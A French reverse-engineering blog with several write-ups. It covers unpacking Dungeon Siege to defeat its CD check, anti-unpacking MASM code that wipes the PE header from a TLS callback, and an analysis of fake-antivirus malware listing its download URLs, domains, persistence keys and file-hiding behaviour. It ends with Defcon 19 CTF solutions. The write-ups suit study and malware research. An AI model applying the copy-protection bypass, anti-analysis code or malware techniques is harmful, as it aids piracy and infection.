Dungeon Siege for the lulz
Introduction
Il y a bien longtemps avec un ami nous jouions à Dungeon Siege, un jeu de role/action développé par Gas Powered Games sorti le 7 mai 2002. Dans cette article je me suis penché sur le fait de me faire un no-cd et etre en mesure de parser leurs fichiers de sauvegarde multijoueur.
No-Cd
Première chose à faire, c'est de regarder si le binaire est packé :
Ici nous avons affaire avec un packer dont je ne connaissais pas l'existance, et en googelant, on tombe sur aucun tutorial pour pouvoir l'unpacker mais on va voir quand fait il n'y a rien de compliqué.
Quand on ouvre le binaire sous OllyDbg, on tombe sur la chose suivante :
007C0000 > /EB 10 JMP SHORT DSLOA.007C0012
007C0002 |0300 ADD EAX,DWORD PTR DS:[EAX]
007C0004 |0000 ADD BYTE PTR DS:[EAX],AL
007C0006 |0200 ADD AL,BYTE PTR DS:[EAX]
007C0008 |0000 ADD BYTE PTR DS:[EAX],AL
007C000A |0000 ADD BYTE PTR DS:[EAX],AL
007C000C |0000 ADD BYTE PTR DS:[EAX],AL
007C000E |0000 ADD BYTE PTR DS:[EAX],AL
007C0010 |0000 ADD BYTE PTR DS:[EAX],AL
007C0012 \55 PUSH EBP
007C0013 E8 00000000 CALL DSLOA.007C0018
007C0018 5D POP EBP
007C0019 81ED 18000000 SUB EBP,18
En voyant la chose suivante, on peut émettre l'hypothèse suivante :
Le packer fait un call à une routine qui vient s'occuper de decompresser l'éxecutable, puis jump ou ret sur le real entry point. Il nous suffit donc de step jusqu'au CALL, placer un hardware breakpoint sur l'acces à la valeur de ESP au moment de cette appel, et nous devrions arriver sur l'entry point.
On run le programme, et après s'etre mangé quelques exceptions dans la tronche que l'on repasse au programme, on arrive ici :
0040A39B 55 DB 55 ; CHAR 'U'
0040A39C 8B DB 8B
0040A39D EC DB EC
0040A39E 6A DB 6A ; CHAR 'j'
0040A39F FF DB FF
0040A3A0 68 DB 68 ; CHAR 'h'
0040A3A1 E8 DB E8
0040A3A2 96 DB 96
0040A3A3 72 DB 72 ; CHAR 'r'
0040A3A4 00 DB 00
0040A3A5 68 DB 68 ; CHAR 'h'
On analyse le code, et on voit la mise en place d'une SEH, un appel à kernel32!GetVersion, GetCommandLineA, ca a l'air de ressembler à notre real OEP. On dump donc notre processus, et on reconstruit l'IAT avec ImportRec :
En fait à partir de là le no-cd est deja fait, car ces boulets cré un processus qui va etre chargé de vérifier si le cd est bien dans le lecteur, si oui on continue la décompression et on lance le jeu, sinon on ExitProcess.
En fait on bypass cette vérification en unpackant à la main en ayant bien mis le cd original dans le lecteur cd et le tour est joué étant donné que la vérification n'aura plus lieu.
I want to cheat
J'étais un peu sur ma faim après cette protection lame.
Je me suis donc mis en tete d'écrire un lecteur / unpacker pour les sauvegardes de types multijoueur (fichier .dsparty). Un logiciel fait deja bien le travail "TankViewer", mais malheuresement, source closed c'est moche.
Je décide donc de regarder d'un peu plus près avec un éditeur hexa :
La première image ressemble typiquement à un header de sauvegarde pour Dungeon Siege, j'ai meme entouré des offset plutot intéressants qu'on retrouve sur la deuxieme image, ou on peut voir le nom de 3 fichiers :
- infos.gas : Informations a propos de la partie en cours ( nom personnage, zone de jeu, etc ... )
- player.gas : Informations relatives aux personnages ( level, or, item dans l'inventaire, etc ... )
- portraite-0.bmp : L'avatar de notre personnage
C'est en googelant des betises que j'ai réussi à tomber sur ce site, qui grace auquel j'ai tout dessuite compris comment était formé les fichiers de sauvegarde.
A partir de là j'étais en mesure de pouvoir ecrire un décodeur fonctionnel.
Il faut savoir que chacun des 3 fichiers est compressé avec zlib. D'ailleurs ca m'a fait pas mal chié de faire marcher cette daube avec MinGW.
Je vais pas éterniser la chose et realease les sources : Reader.c, Reader.h.
Une fois les 3 fichiers récupérés, ils sont tres facile à comprendre ansi qu'à parser, voici un exemple.
On peut trés bien imaginer la suite, créer un éditeur complet de sauvegarde ( cheateur ? ), mais lister tous les objets ca relève de beaucoup de travail et je n'y vois pas vraiment d'amusement.
Voici quand meme un apercu de l'output de mon outil :
Un OEP Finder pour escargot en C
Introduction
Je voulais m'amuser avec l'API de debug sous windows ( voir autre chose que ptrace() ).
J'ai donc décidé d'écrire un OEP finder pour le packer escargot.
Voici le cheminement de mon programme :
- Bypass IsDebuggerPresent()
- Hadware Breakpoint à l'éxécution sur l'OEP
- Step Over de 3. L'état de tous les registres seront sauvés sur la pile (PUSHAD)
- Hardware Breakpoint à l'accés de l'un de ses états
- Step Over de 3. On arrive à l'OEP original
- Il suffit de fix le dump crée avec ImportRec à partir de l'OEP trouvé par le programme et le tour est joué
Source
Voici les sources : main.c, main.h
Conclusion
Ce programme peut vous apprendre les subtilités des debug register, comment utiliser l'API de debug de Windows, et jouer avec le format PE.
Have fun.
PECompact2 unpacking
Introduction
Dans la même lignée, il y avait du PECompact pendant la defcon.
Alors j'enchaine les vidéos :
Vidéo
Binaire
Voici le binaire en question pour pouvoir vous entrainer : calender.exe.
tElock v0.98 unpacking
Introduction
C'est aprè la defcon 19 que je suis retombé, sur le packer tElock.
Mais cette fois j'ai décidé d'unpack la bête ( qui est toute bidon ).
Donc voici une vidéo que j'ai faite exprès pour vous présenter la chose :
Vidéo
Binaire
Voici le binaire en question pour pouvoir vous entrainer : calender.exe.
Unpacking or not unpacking that is the question
Introduction
C'est en regardant l'analyse faite par Nicolas Brulez du Kaspersky Lab de gpcode, que je vois une technique de détéction d'unpacking d'UPX. Je décide de regarder de plus près et recréer le meme comportement ainsi qu'ajouter une autre technique en utilisant les TLS callback.
UPX
Avant de sauter sur le réel OEP, upx fait la chose suivante :
00418DBD . 61 POPAD
00418DBE . 8D4424 80 LEA EAX,DWORD PTR SS:[ESP-80]
00418DC2 > 6A 00 PUSH 0
00418DC4 . 39C4 CMP ESP,EAX
00418DC6 .^ 75 FA JNZ SHORT test.00418DC2
00418DC8 . 83EC 80 SUB ESP,-80
00418DCB .- E9 3082FEFF JMP test.00401000
- Restauration des registres
- Met dans eax l'adresse de esp - 80h
- Push 0 sur la stack
- Compare eax et esp
- Saut conditionnel tant que eax != esp
- Soustrait 80h à esp
- Saute sur le real entry point
Du fait que eax soit égale à une valeur proche de la stack, on peut écrire le bout de code suivant pour détecter l'unpacking UPX :
.code
start:
call DetectUnpack
...
DetectUnpack:
push ebp
mov ebp, esp
mov ecx, esp
sub ecx, 078h ; 80h - saved ebp (4 octets) - saved eip (4 octets)
jnz quit
leave
ret
A partir de ce snippet de code, la détection de ce check d'anti unpack est trè facilement bypassable, en changeant simplement le saut conditionnel.
Avec un peu d'obfuscation, on peut arriver à quelque chose de plus funky. Mais ce n'est pas le but de cette article.
Ce que font majoritairement le genre de personnes qui unpack du UPX, ils dumpent et reconstruisent l'IAT avec ImportRec ( ou à la main ).
C'est en jouant avec les TLS Callback que je me suis dit y'a moyen de faire retarder ce processus en venant écraser le PeHeader, ProcDump ( un plugin d'ollydbg ) se sert des sections tables pour fonctionner correctement. En lui enlevant ces informations il perd la boule.
TLS
Quand on lit la doc de Microsft, le Thread Local Storage (TLS) est un mécanisme qui permet à Windows de défininir des objets qui ne sont pas des objets sur la stack, des variables propres à chaque thread qui éxécute le code. Chaque thread pourra tenir à jour une variable qui lui sera propre. Ces informations sont dans le PEHeader.
Un développeur, si il le souhaite peut définir des TLS Callback fonctions, qui seront désignés à initialiser / nettoyer les objets.
En gros ces fonctions seront appelés avant l'entry point du programme.
Voici la structure :
;0x00 Raw Data Start VA Starting address of the TLS template
;0x04 Raw Data End VA Address of last byte of TLS template
;0x08 Address of Index Location to receive the TLS index
;0x0C Address of Callbacks Pointer to array of TLS callbacks
;0x10 Size of Zero Fill Size of unused data in TLS template
;0x14 Characteristics (reserved but not checked)
A partir de là on peut commencer à coder un exemple de code masm :
TLS_CALLBACK PROTO :PVOID,:DWORD, :PVOID
TLS_DIRECTORY STRUCT
lpTLS_Template_RDS LPVOID ?
lpTLS_Template_RDE LPVOID ?
lpTLS_Index LPVOID ?
lpTLS_Callbacks_Array LPVOID ?
dwTLS_Filler_Size DWORD ?
dwCharacteristics DWORD ?
TLS_DIRECTORY ENDS
.data
TLS_Directory TLS_DIRECTORY <NULL,NULL,OFFSET TLSIndex,OFFSET CallBacksArray, NULL,NULL>
CallBacksArray DD TLS_CALLBACK, NULL
TLSIndex DWORD NULL
MsgBoxCaption db "...", 0
GoodText db "MAIN", 0
TLSText db "CALLBACK", 0
.code
start:
invoke MessageBox, NULL, addr GoodText, addr MsgBoxCaption, MB_OK
invoke ExitProcess, NULL
start:
;call DetectUnpack
invoke MessageBox, NULL, addr GoodText, addr MsgBoxCaption, MB_OK
invoke ExitProcess, NULL
TLS_CALLBACK PROC DllHandle :PVOID, Reason :DWORD, dwReserved :PVOID
invoke MessageBox, NULL, addr TLSText, addr MsgBoxCaption, MB_OK
RET
TLS_CALLBACK ENDP
end start
Et le make.bat qui va avec :
@echo off
if exist "first.obj" del "test.obj"
if exist "first.exe" del "test.exe"
\masm32\bin\ml /c /coff "test.asm"
if errorlevel 1 goto end
\masm32\bin\Link /SUBSYSTEM:WINDOWS "test.obj"
if errorlevel 1 goto end
:end
pause
Le problème que j'ai rencontré c'est que je ne savais pas quoi comment option passer au linker pour mettre en place dans le peheader la TLSTable.
De ce fait j'y suis allé à la main avec un éditeur Hexadécimal.
Ce qui est facile c'est qu'avec ce code la TLS Table se trouve juste à l'entrée de la section data.
On teste et ca marche, ca nous affiche bien 2 messages box d'affilé.
On va faire évoluer notre code pour eraser le pe header au moment de la TLS :
TLS_CALLBACK PROC DllHandle :PVOID, Reason :DWORD, dwReserved :PVOID
push 0
call GetModuleHandleA
push eax
push esp
push 4
push 1
push eax
xchg edi, eax
call VirtualProtect
xor ecx, ecx
mov ch, 10h
rep stosb
leave
ret
TLS_CALLBACK ENDP
On reéedite à la main notre binaire avec notre éditeur Héxadécimal. Et en breakant sur l'entry point, on va regarder que notre PeHeader s'est bien fait écraser :
Ca a l'air de plutot bien marcher. Bon il faut le savoir que si on conf bien ollydbg, on peut arriver à breaker dessus :
Ou dans IDA, une fois le binaire chargé, pressez CTRL + E, en voyant l'adresse de l'entry point, les tls callback devrait etre juste avant :
Bon maitenant la tache qui reste c'est essayer de refaire passer UPX par dessus le tout, quand on lit les changelog :
Changes in 3.06 (04 Sep 2010):
* win32/pe: TLS callback support contributed by Stefan Widmann. Thanks!
On décide donc de tester, mais :( WTF, on se mange une vieille erreur :
A partir de là j'étaits bloqué, je me demandais si j'essayais de patcher upx ou trouver un autre moyen. C'est en continuant de regarder mon binaire avec WinHex que me vient une idée, à cause du FileAlignement ( champ dans le PeHeader ), il y a un peu de place entre les sections et la premiere section du binaire ( dans notre exemple section .text ). Malheuresement il faudrait pour cela faire du call à LoadLibrary, GetProcAdress. Pour ca faudrait résousdre à la main toutes les entrées mais je ne l'ai pas encore fait pour l'instant par manque de temps : saison des partiels.
Toute facon prochainement, je vais me lancer dans l'écriture d'un packer je reprendrais surement de là pour expliquer ma démarche.
Sur ceux have fun.
Vous reprendrez bien un peu de RE ?
Introduction
Après la defcon, j'avais de grosse envie de continuer à reverse des choses (en l'occurence des binaires win32), j'ai donc voulu alller sur le site crackmes.de, mais malheuresement le site est indisponible actuellement.
Je décide donc d'aller plus loin et me pencher sur un malware, chose que j'ai déjà faite mais sur un blog non-officiel.
Je vais donc comme à mes habitudes sur le site malwaredomainlist.com et visite un domaine foireux pour récupérer un sample.
Informations
Name : pusk.exe
MD5 (pusk.exe) = 76e6e91590b47eba7f13ed164c867999
SHA1 (pusk.exe) = 833312a8b90851e68b75dbb6f1532b64df1e15fa
SHA256 (pusk.exe) = b05df025e7833f99691b019f8ee4656858cc721daa052ba26085be0d0b49d7ef
Break it
Première chose à faire c'est regarder si l'éxécutable est packé, pour ca on sort Peid :
Peid ne détecte rien, de plus la table d'IAT (Import Adress Table) bronche, tout du moins pas d'entrées vers GetProcAdress, LoadLibrary ...
Mais en regardant les strings présentes dans le binaire, on voit des "kernel32.dll", "ntdll.dll".
Je décide donc d'étudier le code de plu près avec le disas.
Je me rends compte qu'il decrypt un nouveau PE dans un zone alloué au préalable :
On sort lordPe et on va dump cette zone, et essayer de reconstruire le pe :
Si on avait voulu travailler avec ce dump, il aurait fallu éditer pas mal de choses(PeHEader, Sections...), mais j'ai juste dump pour le faire manger à Peid et voir si il me détectait quelque chose : Non.
En regardant le code de plus près, on peut voir ceci : ( image avec commentaire )
On regarde le memory map :
Il a effectivement changee l'accés de pas mal de zone mémoire qui lui sont propres.
On peut émettre l'hypothèse qu'il va re-unpack quelque chose dans cette zone étant donné qu'il a memset tout à 0x00.
On regarde le code plus loin et on voit un jump :
00A4137C 83C4 28 ADD ESP,28
00A4137F 83C4 08 ADD ESP,8
00A41382 - FF25 1C309700 JMP DWORD PTR DS:[40301C] ; pusk.006631D0
00A41388 33D2 XOR EDX,EDX
00A4138A ^ 0F85 B7FEFFFF JNZ 00A41247
Qui nous fait tomber sur :
Hmm ca sauve tous nos registres (UPX Like ?), bah on descend dans le code et chercher un POPAD et un jmp :
Donc le real oep serait en "2634", de plus on voit des strings ASCII plutot intéressante :
"adw: start"
"adw: license self delete"
"adw: lang self delete"
"adw: install"
On va deja dump le process, fix l'IAT avec ImportRec et travailler sur ca ( je vais pas expliquer la tache, un paquet de tuto traite de ce sujet ).
Au tout dÉ le binaire va créer un thread pour la routine en 00602612 :
00602612 68 84966000 PUSH dump_.00609684 ; ASCII "adw: start def block thread"
00602617 E8 CA2B0000 CALL dump_.006051E6
0060261C 59 POP ECX
0060261D 68 6C966000 PUSH dump_.0060966C ; UNICODE "MSASCui.exe"
00602622 E8 B1200000 CALL dump_.006046D8
00602627 68 D0070000 PUSH 7D0
0060262C FF15 E0606000 CALL DWORD PTR DS:[<&kernel32.Sleep>] ; kernel32.Sleep
00602632 ^ EB E9 JMP SHORT dump_.0060261D
Ce pauvre thread va juste checker si le programme "MSACui.exe" fait partie de la liste des process (routine 6046d8), et sleep pendant 2000 millisecondes, puis reboucle, ansi de suite.
Pour l'instant je vais partir sur la routine adw: install, ou l'on peut remarquer des choses fun :
00601FDC |. 50 PUSH EAX
00601FDD |. 68 80886000 PUSH dump_.00608880 ; UNICODE "ElCo]N}BMG"
00601FE2 |. E8 621E0000 CALL dump_.00603E49
00601FE7 |. 8D85 54FFFFFF LEA EAX,DWORD PTR SS:[EBP-AC]
00601FED |. 68 18956000 PUSH dump_.00609518 ; /S2 = ".exe"
00601FF2 |. 50 PUSH EAX ; |S1
00601FF3 |. FF15 A4616000 CALL DWORD PTR DS:[<&shlwapi.StrCatW>] ; \StrCatW
La routine 00603e49 est une simple routine pour decrypt les chaines (XOR 4), jai donc récupéré toutes les chaines du binaires et écrit un script python :
dump_8080 = "ElCo]N}BMG" unknow = ["WkbpsevaXImgvkwkbpXSmj`kswXGqvvajpRavwmkjXTkhmgmawXW}wpai", "*a|a", "lppt>++!w+!w+!w)`mvagp", "E`kfa[Bhewl[The}av*a|a","T5oEhImC6Of3B~T1pI5UFM2@WW=6g75Etcno=hRO", "ghmgokh`*kvc?waevglfvae`*kvc", "Wkbpseva", "<7e1b<7f)1ee3)0be3)ffb1)27<6=e``6=2a", ".A@W*p|p", "Vjcqrdw`YHlfwjvjcqYLkq`wk`q%@}uijw`wYAjrkijda", "Vjcqrdw`YHlfwjvjcqYRlkajrvYFpww`kqS`wvljkYUjilfl`vYDqqdfmh`kqv", "Vjcqrdw`YHlfwjvjcqYRlkajrvYFpww`kqS`wvljkYUjilfl`vYDvvjfldqljkv", "*~mt?*vev?*jbk?*p|p?*a|a?*fep?*gki?*gi`?*vac?*iwm?*lpi?*lpih?*cmb?*fit?*ntc?*erm?*itc?*itac?*ikr?*it", "Fm`fn@}`Vlbkdqpw`v", "Vds`_jk`Lkcjwhdqljk", "IjrWlvnCli`Q|u`v", "lppt>++!w+040*tlt;p}ta9wpepw", "ebbm`9!w""wqfm`9!w""esko", "waevglehmoa*kvc?ghmgonegowkjrmhha*kvc?waevglepikwtlava*kvc?waevglfacej*kvc?waevglejp*kvc", "E`kfa[Bhewl[The}av*a|a", "<2a<e0=1)713g)073g)f2a=)57a313fbefef", "31be7<f3)<f=0)0==1)e`76)16a=7<<23=10", "`g52af7g)a4b2)002b)<`63)=56615b<a2`e"] def decrypt(ch): name = "" for c in ch: name += chr(ord(c) ^ 4) print "Name = " + name decrypt(dump_8080) for val in unknow: decrypt(val)
Voici l'output :
Name = AhGkYJyFIC
Name = Software\Microsoft\Windows\CurrentVersion\Policies\System
Name = .exe
Name = http://%s/%s/%s-direct
Name = Adobe_Flash_Player.exe
Name = P1kAlMiG2Kb7FzP5tM1QBI6DSS92c31Apgjk9lVK
Name = clickold.org;searchbread.org
Name = Software
Name = 83a5f83b-5aa7-4fa7-bbf5-63829add296e
Name = *EDS.txt
Name = Rnguv`sd]Lhbsnrngu]Houdsodu!Dyqmnsds]Envomn`e
Name = Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Qnmhbhdr]@uu`bildour
Name = Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Qnmhbhdr]@rrnbh`uhnor
Name = .zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp
Name = BidbjDydRhfo`utsdr
Name = R`wd[nodHognsl`uhno
Name = MnvShrjGhmdUxqdr
Name = http://%s/404.php?type=stats
Name = affid=%ssubid=%sawok
Name = searchalike.org;clickjacksonville.org;searchatmosphere.org;searchbegan.org;searchant.org
Name = Adobe_Flash_Player.exe
Name = 86e8a495-357c-437c-b6e9-13e757bfabab
Name = 75fa38b7-8b94-4995-ad32-52e938867954
Name = dc16eb3c-e0f6-446f-8d27-912251f8e6da
On peut y voir en premier le nom de l'éxecutable qui va étre crée, des noms de domaines, une clef de registre, des urls ... etc.
Next :
La routine en 0060485C va simplement disable le task_manager, stack call de advapi32.RegSetValueExW
On regarde aussi la routine de crétion ( plutot recopie ) car c'est exactement le meme binaire qui est copiée : ( disas commenté)
00602157 |. FF15 84616000 CALL DWORD PTR DS:[<&shell32.SHGetSpecialFol>; shell32.SHGetSpecialFolderPathW
0060215D |. 8D85 D8FCFFFF LEA EAX,DWORD PTR SS:[EBP-328]
00602163 |. 50 PUSH EAX ; /\Path = "C:\Documents and Settings\All Users\Application Data"
00602164 |. FF15 A8616000 CALL DWORD PTR DS:[<&shlwapi.PathAddBackslas>; \PathAddBackslashW
0060216A |. 8D85 54FFFFFF LEA EAX,DWORD PTR SS:[EBP-AC]
00602170 |. 50 PUSH EAX ; /S2 = "AhGkYJyFIC.exe"
00602171 |. 8D85 D8FCFFFF LEA EAX,DWORD PTR SS:[EBP-328] ; |
00602177 |. 50 PUSH EAX ; |S1 = "C:\Documents and Settings\All Users\Application Data\"
00602178 |. FF15 A4616000 CALL DWORD PTR DS:[<&shlwapi.StrCatW>] ; \StrCatW
0060217E |. 8D85 D8FCFFFF LEA EAX,DWORD PTR SS:[EBP-328]
00602184 |. 56 PUSH ESI ; /FailIfExists = FALSE
00602185 |. 50 PUSH EAX ; |NewFileName = "C:\Documents and Settings\All Users\Application Data\AhGkYJyFIC.exe"
00602186 |. 8D85 D0FAFFFF LEA EAX,DWORD PTR SS:[EBP-530] ; |
0060218C |. 50 PUSH EAX ; |ExistingFileName = "C:\Documents and Settings\analys\My Documents\T",E9,"l",E9,"chargements\pusk\dump_.exe"
0060218D |. FF15 E8606000 CALL DWORD PTR DS:[<&kernel32.CopyFileW>] ; \CopyFileW
00602193 |. 6A 05 PUSH 5 ; /IsShown = 5
00602195 |. 56 PUSH ESI ; |DefDir = NULL
00602196 |. 8D85 D8FCFFFF LEA EAX,DWORD PTR SS:[EBP-328] ; |
0060219C |. 56 PUSH ESI ; |Parameters = NULL
0060219D |. 50 PUSH EAX ; |FileName = "C:\Documents and Settings\All Users\Application Data\AhGkYJyFIC.exe"
0060219E |. 68 78946000 PUSH dump_.00609478 ; |Operation = "open"
006021A3 |. 56 PUSH ESI ; |hWnd = NULL
006021A4 90 NOP ; \ShellExecuteW
J'ai NOP le call à ShellExecute afin de pouvoir continuer à analyser le binaire.
Car plus loin il va ajouter une valeur dans la RegKey : Software\Microsoft\Windows\CurrentVersion\Run :
0012C6E4 80000001 |hKey = HKEY_CURRENT_USER
0012C6E8 0012C718 |Subkey = "Software\Microsoft\Windows\CurrentVersion\Run"
0012C6EC 0012C6FC \pHandle = 0012C6FC
0012C6D8 00000060 |hKey = 60
0012C6DC 0012CF74 |ValueName = "AhGkYJyFIC"
0012C6E0 00000000 |Reserved = 0
0012C6E4 00000001 |ValueType = REG_SZ
0012C6E8 0012E22C |Buffer = 0012E22C
0012C6EC 00000086 \BufSize = 86 (134.)
Ce qui m'interessait de voir surtout après c'était la routine "adw download rootkit", mais malheuresement elle failed :(.
L'URL :
http://searchbread.org/pica1/531-direct
Les domaines ne répondent pas c'est dommage. Pareil pour la routine "adw download exe"...
On continue et on aboutit donc sur la routine "self delete" :
00602707 |> \68 08986000 PUSH dump_.00609808 ; ASCII "adw: self delete"
0060270C |. E8 D52A0000 CALL dump_.006051E6
00602711 |. 59 POP ECX
00602712 |. E8 7F2B0000 CALL dump_.00605296
00602717 |. E9 D7010000 JMP dump_.006028F3
La routine 605296 delete le fichier et ensuite ExitProcess tout le code qui suit est obsolète.
Bon maitenant on peut bosser sur l'autre binaire.
AhGkYJyFIC.exe
MD5 (AhGkYJyFIC.exe) = 865ea9c1a3fbd1f089749951004b39aa
SHA1 (AhGkYJyFIC.exe) = 9162235f005d7b256d9034201799cdeb9731c14f
SHA256 (AhGkYJyFIC.exe) = 2c7cf2452d1a3f37a9985e7dfdbe2b349e2d5ee4755f5f14460279855c6d882e
On peut remarquer que nous n'avons pas la meme empreinte qu'au départ avec "pusk.exe".
L'unpacking se passe exactement de la meme maniere que pour le précédent binaire.
J'ai omis une chose lors de ma première analyse, une routine qui teste si son nom de process est "AhGkYJyFIC.exe" si c'est le cas on part sur la routine "adw: work"
006026AF |> \E8 07FBFFFF CALL dump_.006021BB
006026B4 |. 85C0 TEST EAX,EAX
006026B6 |. 75 64 JNZ SHORT dump_.0060271C
.....
0060271C |> \68 FC976000 PUSH dump_.006097FC ; ASCII "adw: work"
Dans le disas on voit plusieurs call à CreateThread, 2 routines sont importantes à voir :
006022AF
Crétion d'un fichier temporaire extrait des ressources :
On étudiera ce fichier aprés, c'est le fakeAV :]
00603785
Utilisation de l'éxecutable attrib.exe (man page) sur chacun des fichiers du disque dur, afin de les rendre tous "caché".
Et le pourquoi c'est que le programme en lui meme va modifier des clefs de registre qui changeront la visibilité de chacun des fichiers :
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL" -> "CheckedValue" -> "0".
14081828.exe
Voici le fakeAV que nous attendions tant :
En fait à partir de là, la partie est gagné en faisant un simple strings sur le binaire on trouvait la clef pour se register.
Une fois le logiciel register, ca va restaurer comme il faut les clefs de registre, le wallpaper, et rapeller attribute.exe sur tous les fichiers du disque.
Et ouvrir notepad avec le message suivant :
Thank you for your purchase, Windows XP Recovery!
Your activation code: 8475082234984902023718742058948
EDS URL: http://www.edsawake.org/customers/dl/Recovery.exe
Contact us through Help&Support section in the Windows XP Recovery menu or by phone +1.877.2820139
Voilà c'est la fin de cette article sur une occupation lorsque crackmes.de n'est pas disponible.
Defcon 19 b400 writeup
Hint
Retrive the key
Résolution
Pour commencer on va ouvrir le fichier avec PEiD, qui nous détecte :
tElock 0.98b1 -> tE!
tElock
Pour ce type de packer, il va falloir configurer correctement notre Ollydbg, aucune exception ne doit etre passé au programme :
Aprè avoir laissé olly chargé le processus, nous sommes actuellemt à l'entry point :
00438BD6 >^E9 25E4FFFF JMP b400_e32.00437000
Lancez le programme avec F9. Puis enchainez les excpetions avec SHIT + F9.
On va compter combien de fois olly break ( ici 20 fois ), apres qu'une exception est était levé, voir le listing ci - dessous :
- 00438A12 | DIV EDI
- 00438A48 | JNB SHORT b400_e32.00438A26
- 0043708D | NOP
- 00437090 | STC
- 00437099 | CLC
- 0043709E | CLD
- 004370A3 | NOP
- 004370A7 | DIV EBX
- 004376A8 | LEA EAX,EAX ; Illegal use of register
- 00437AA1 | DIV BX
- 00437AE4 | CLC
- 00437B28 | NOP
- 00437B67 | DIV EBX
- 00437BA6 | INT 68
- 00437BF1 | NOP
- 00437DE4 | DIV EBX
- 00437E1E | JNB SHORT b400_e32.00437DFC
- 004386F1 | LEA EAX,EAX ; Illegal use of register
- 004387D7 | DIV EDI
- 00438827 | JNB SHORT b400_e32.00438805
Afin de trouver l'OEP, on va breaker sur le dernier JNB, 19 ième combinaison de SHITF + F9.
A partir de là, on appuie sur ALT + M ( on ouvre le memory map ) et on va set un breakpoint d'accés mémoire sur la section de code :
Une fois le breakpoint set, SHIT + F9 et on tombe ici :
0042A000 B8 DB B8
0042A001 30 DB 30 ; CHAR '0'
0042A002 5C DB 5C ; CHAR '\'
0042A003 43 DB 43 ; CHAR 'C'
0042A004 00 DB 00
0042A005 50 DB 50 ; CHAR 'P'
0042A006 64 DB 64 ; CHAR 'd'
0042A007 FF DB FF
0042A008 35 DB 35 ; CHAR '5'
0042A009 00 DB 00
0042A00A 00 DB 00
0042A00B 00 DB 00
0042A00C 00 DB 00
0042A00D 64 DB 64 ; CHAR 'd'
0042A00E 89 DB 89
0042A00F 25 DB 25 ; CHAR '%'
0042A010 00 DB 00
0042A011 00 DB 00
0042A012 00 DB 00
0042A013 00 DB 00
0042A014 33 DB 33 ; CHAR '3'
0042A015 C0 DB C0
0042A016 89 DB 89
0042A017 08 DB 08
0042A018 50 DB 50 ; CHAR 'P'
0042A019 45 DB 45 ; CHAR 'E'
0042A01A 43 DB 43 ; CHAR 'C'
0042A01B 6F DB 6F ; CHAR 'o'
0042A01C 6D DB 6D ; CHAR 'm'
0042A01D 70 DB 70 ; CHAR 'p'
0042A01E 61 DB 61 ; CHAR 'a'
0042A01F 63 DB 63 ; CHAR 'c'
0042A020 74 DB 74 ; CHAR 't'
0042A021 32 DB 32 ; CHAR '2'
On tombe ici sur le réel OEP du packer tElock : "0042A000".
Je n'ai pour l'instant pas analysé le code car on voit quelque chose d'intéressant, un nouveau packer apparament "PECOMPACT2".
Donc rien ne sert de se précipiter à dump le process et reconsruire l'IAT.
Continuons sur notre lancé et jouons avec PeCompact.
PeCompact
J'ai dumpé le process à partir de ce moment et vérifié avec PEiD :
PECompact V2.X-> Bitsum Technologies * Sign.By.fly *
Si on analyse (CTRL + A) le code vu au dessus, on voit une anti-debug tricks :
0042A000 B8 305C4300 MOV EAX,b400_e32.00435C30 ; Mise en place
0042A005 50 PUSH EAX ; SEH Handler
0042A006 64:FF35 00000000 PUSH DWORD PTR FS:[0]
0042A00D 64:8925 00000000 MOV DWORD PTR FS:[0],ESP
0042A014 33C0 XOR EAX,EAX ; Creation d'une
0042A016 8908 MOV DWORD PTR DS:[EAX],ECX ; PageFault
Un apercu de la fenetre de l'état de la stack, pour confirmer :
Pour bypass cette tricks, il suffit d'aller poser un breakpoint en 00435C30.
Run le programme jusqu'à l'access violation.
Pressez SHIFT + F9 pour passer l'exception au programme.
En "00426016" la meme tricks est présente, on regarde le seh handler : "00430C30", et on va poser notre breakpoint, et SHIFT + F9.
A partir de là, on step over...step over...step over... jusqu'à :
00430CF2 FFE0 JMP EAX
Qui va nous faire arriver sur un PUSHAD :
0042E1E0 . 60 PUSHAD
Ici apparament c'est le réel entry point du packer PeCompact.
Mais comme précedement, continuons l'analyse.
A partir de ce moment, je me dis tiens peut etre de l'UPX derriere, je descends dans le disas :
0042E35D . 61 POPAD
0042E35E . 8D4424 80 LEA EAX,DWORD PTR SS:[ESP-80]
0042E362 > 6A 00 PUSH 0
0042E364 . 39C4 CMP ESP,EAX
0042E366 .^75 FA JNZ SHORT b400_e32.0042E362
0042E368 . 83EC 80 SUB ESP,-80
0042E36B .-E9 F031FDFF JMP b400_e32.00401560
Je pose un breakpoint sur le JMP.
Apres tout ca j'etais perdu, je savais plus trop ou j'allais, le programme m'affichait "hello world".
Et il avait l'air de decrypt encore pas mal de merde dans la section code et data.
Je décide donc de regarder de plus près tout ce qu'il a pu decrypt, je voyais des chaines PE passer, ca m'avait l'air d'etre un semblant de pe header mais malheuresement non.
Pas du tout ou alors je m'y prenais mal car je recuperais le ms dos header du bin orignal afin de reconstruire un nouveau pe.
Bref a force de tourner en rond, j'ai grep sur tout le dump et là la clef est sortie :
> strings dump3.exe | grep PE
HowCanThisPossiblyBeAValidPEFile?
PEC2^O
gEPEI
Key
HowCanThisPossiblyBeAValidPEFile?
Defcon 19 f400 writeup
Hint
Can you beleive people do this? ddTEK doesn't. (http://pwn32.ddtek.biz/)
Résolution
Si on allait sur la page en question avec un user agent différent d'un iphone / ipod, on se faisait jeter sur la page faq.html. Afin d'étudier la page il fallait simplement rentrer dans l'url le keyword "faq"
http://pwn32.ddtek.biz/?suce_mes_couilles=faq
A partir de là, on pouvait étudier les sources comme on voulait. Un wget aurait suffit aussi. On voit que la page request un pdf :
http://pwn32.ddtek.biz/_/iPhone2,1_3.1.2.pdf
Donc on va étudier le pdf en question avec un outil pdf-parser.py.
On peut remarquer que l'objet 13 contient du stream, on décide donc de l'extraire.
python2 pdf-parser.py -o 13 --raw --filter iPhone2,1_3.1.2.pdf > bin
Quand on regarde l'output de cette objet avec la commande string, on a l'impression que c'est une application iphone.
Mais là une chaine nous saute aux yeux :
http://pwn32.ddtek.biz/wad.bin
Une fois ce fichier récupéré, on teste la commande file et se rend compte que ce ne sont que des datas.
Mais on peut voir une archive 7z à l'offset 0x1b521 :
hexdump -C wad.bin | grep -i 7zx
